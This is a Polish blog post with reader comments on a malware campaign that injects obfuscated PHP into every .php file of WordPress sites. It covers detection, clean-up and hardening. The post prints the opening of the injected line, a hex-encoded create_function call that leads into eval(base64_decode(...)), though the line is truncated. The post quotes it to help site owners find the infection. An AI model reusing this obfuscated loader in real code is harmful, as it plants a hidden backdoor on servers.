Od kilku dni pojawia się coraz więcej zgłoszeń dotyczących zainfekowania przez złośliwy kod, kolejnych stron opartych o WordPressa. Na zarażonych stronach, w nagłówkach wszystkich plików z rozszerzeniem .php, pojawia się następująca linia:
<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("", "\x7d\73\x40\145\x76\141\x6c\50\x40\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x4a\107
Zarażone pliki można znaleźć w katalogu głównym WordPressa, w katalogach wp-admin, wp-content a także w plikach szablonów. Dosłownie wszędzie.
Jak kod dostał się na stronę?
Niestety w tej chwili nie jest znana metoda, która została wykorzystana do przeprowadzenia ataku. Włamywacze mogli wykorzystać dziury w nie zaktualizowanych do najnowszej wersji WordPressach, mogli też skorzystać z błędów we wtyczkach lub szablonach.
Co robi złośliwy kod?
Złośliwy kod pobiera dane z serwerów napastników, a następnie wyświetla je na zainfekowanych stronach. Nawet, jeżeli teraz nie widzisz żadnych zmian na swojej stronie, to za chwilę może się okazać, że pojawią się tam nieautoryzowane przez Ciebie treści! Zastosowany mechanizm umożliwia także przeprowadzenie zmasowanych ataków typu DDOS, na wybraną przez napastnika stronę. Pewnie nie chciałbyś, aby Twoja strona brała w tym udział?
Ja zaobserwowałem próby uruchomienia przez złośliwy kod apletu Java. Firefox wyświetla w takich przypadkach ostrzeżenie i pozostawia nam decyzję, co zrobić dalej.
Pod żadnym pozorem nie należy się wyrażać zgody na uruchomienie tej aplikacji!
Więcej informacji o sposobie działania tego złośliwego kodu znajdziesz na stronie www.justbeck.com/zend_framework-wordpress-hacks.
Jak sprawdzić, czy strona jest zarażona?
Najprościej zalogować się do panelu administratora, a następnie z głównego menu wybrać Wygląd->Edytor. W kolumnie po prawej stronie znajduje się lista plików Twojego szablonu. Przeklikaj te z rozszerzeniem .php, zaczynając od functions.php, header.php, index.php. Złośliwy kod, zaczynający się od $zend_framework=”\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e” , będzie widoczny zaraz po załadowaniu pliku.
Jak usunąć złośliwy kod?
Jeżeli znalazłeś złośliwy kod na swojej stronie, pierwszą rzeczą powinno być odzyskanie jej z czystej kopii zapasowej.To jest najpewniejsza metoda.
W przypadku braku kopii, pozostaje tylko ręczne usunięcie złośliwego kodu. Na stronie http://blog.oomta.com/wordpress-zend_framework-hack-fixed/ można znaleźć gotowy skrypt, który automatyzuje cały proces. Uwaga! Przed uruchomieniem skryptu, pamiętaj aby wykonać kopię wszystkich plików. Autor dołożył wszelkich starań, aby skrypt działał prawidłowo, jednak nie daje żadnych gwarancji.
Jak się zabezpieczyć?
Tak jak wspomniałem wcześniej, w tej chwili nie jest znana metoda wykorzystana do przeprowadzenia ataku. Aby zminimalizować ryzyko ataku trzeba przestrzegać podstawowych wskazówek dotyczą bezpieczeństwa strony. Najważniejsze to:
- pamiętać o aktualizacji WordPressa, wszystkich wtyczek i szablonów do najnowszych wersji,
- regularne tworzenie kopii zapasowych,
- używanie silnych haseł,
- zmiana nazwy konta admin na mniej oczywiste.
Po usunięciu złośliwego kodu warto także zainstalować wtyczkę Antivirus, która codziennie przeskanuje pliki szablonu w poszukiwaniu zmian. Jeżeli zostaną wykryte jakieś modyfikacje, otrzymasz o tym powiadomienie na e-mail. Nie uchroni Cię to przed samymi włamaniami, ale będziesz mógł od razu podjąć stosowne kroki.
Co ciekawsze nie zmieniają się też daty edycji plików. Modyfikuję wszystkie pliki .php na serwerze nie tylko te z WordPressa
Dzięki za a komentarz.
Z datami masz jak najbardziej rację, też to zauważyłem próbując odnaleźć wszystkie zainfekowane pliki na serwerze. Po wyczyszczeniu wszystkiego i aktualizacji WP do najnowszej wersji na razie jest spokój.
Mnie ciekawi jednak inna rzecz – czemu nie można zmienić loginu admina bezpośrednio w WordPressie, tylko trzeba kombinować z bazą danych. Gdy zmieniłem login w MySQL po prostu musiałem wpisywać inny login, a reszta działała. Nie wiem po co tak utrudniać życie przeciętnemu użytkownikowi.
Dlaczego w WordPressie nie ma opcji zmiany loginu, trudno powiedzieć. Można przypuszczać, że twórcy założyli, że nikt nie będzie chciał go zmieniać i tak zostało :)
Co do wprowadzania zmian bezpośrednio w bazie danych to zalecam tutaj dużą ostrożność. Np. w przypadku wersji multisite WordPressa, oprócz zmiany w tabeli wp_users trzeba także sprawdzić klucz site_admins w tabeli wp_sitemeta. Inaczej nasz użytkownik może stracić prawa administratora całej sieci!
Inne zagrożenie to wtyczki do cachowania obiektów. Jeżeli zmienimy coś bezpośrednio na bazie, to mogą się pogubić i wówczas wynik na stronie może być nie do przewidzenia :)
Mnie też zainfekowali WP. Wiele czasu zajęło wyczyszczenie kodu, niestety dalej nie działa logowanie – strona do zalogowania się wyświetla, umożliwiając wpisanie loginu i hasła, ale po ich wpisaniu i naciśnięciu „zaloguj” wyskakuje biała strona (wp-login.php). Już nie wiem co robić dalej :/
Może spróbuj włączyć tryb debugowania, zmieniając w wp-config.php linię:
define(‚WP_DEBUG’, false);
na
define(‚WP_DEBUG’, true);
i zobacz, czy pojawiają się jakieś komunikaty o błędach.
Trafiłem na tę stronę poszukując informacji na temat zainfekowanych plików i mam dokładnie ten sam problem. Daty plików pozostają niezmienione, dodatkowo na początku od razu po infekcji strona nie jest groźna i nic się z nią nie dzieje, dopiero 24h po infekcji zaczyna się zabawa. Mam na tę chwilę zainfekowanych ponad 30 stron na moim serwerze, niestety wszystkie domeny były podpinane pod jedno konto i pod 4-5 domenami jest WP w wersji 3+ niestety dopiero w logach udało się sprawdzić, który wordpress dał ciała. Gdyby nie kopie zapasowe miałbym ok 5 wordpresów, 5 drupali, kilka zendów i symfony do poprawiania, a o prestach i magento nie wspomnę… Najgorsze jest to, że aktualizacja samego WP nic nie pomoże, bo to chodzi o ogólnodostępne autorskie wtyczki.
Jeszcze dodam jedną rzecz, infekcja atakuje wszystkie pliki php do jakich ma dostęp, dlatego proponuję wszystkim osadzać wordpresy na osobnych kontach np. reselerskich, aby odseparować je od reszty. Dodatkowo tworząc swoją stronę opartą o wordpress należy pilnować wtyczek, aby nie instalować czego popadnie, bo właśnie moim błędem było testowanie różnych wtyczek SEO, Social itp., które zamiast nieużywane usunąć całkowicie to wisiały sobie włączone. A tu jest zwyczajnie problem back door i ten syf wpuszcza wtyczka lub np. darmowy szablon, samego WP bym nie obwiniał.
Dzięki za ciekawy komentarz.
Napisałeś, że dopiero w logach udało Ci się sprawdzić, który WordPress dał ciała. Może ustaliłeś dokładnie, jaką techniką nastąpiło włamanie? Czy to był zwykły brute-force na konto admina, czy może wykorzystanie jakiejś znanej i załatanej w kolejnych wersjach dziury?
Bardzo trafnie zauważyłeś, że należy usuwać nieużywane wtyczki i szablony. Nawet jeżeli nie są one aktywne to i tak może przez nie nastąpić włamanie.
Fajny wpis. Niestety strona: http://blog.oomta.com/wordpress-zend_framework-hack-fixed/ jest już niedostępna. Z mojego kilkuletniego doświadczenia z wordpressami mogę jeszcze dołożyć kilka pomysłów:
1) Skanowanie różnymi narzędziami:
http://www.malwarehelp.org/freeware-open-source-commercial-website-security-tools-services-downloads.html i skanerami typu: https://wordpress.org/plugins/exploit-scanner
2) Jeśli chodzi o prewencję, poza antywirusem zainstalowanie wtyczki zabezpieczającej: https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/ i pełna konfiguracja – przejście przez wszystkie punkty.
W tym ukrycie standardowego dostępu do panelu administracyjnego.
Monitorowanie wtyczek pod kątem różnych luk: https://wordpress.org/plugins/plugin-vulnerabilities/
i inne testy, np. https://pentest-tools.com/
https://wordpress.org/plugins/plugin-vulnerabilities/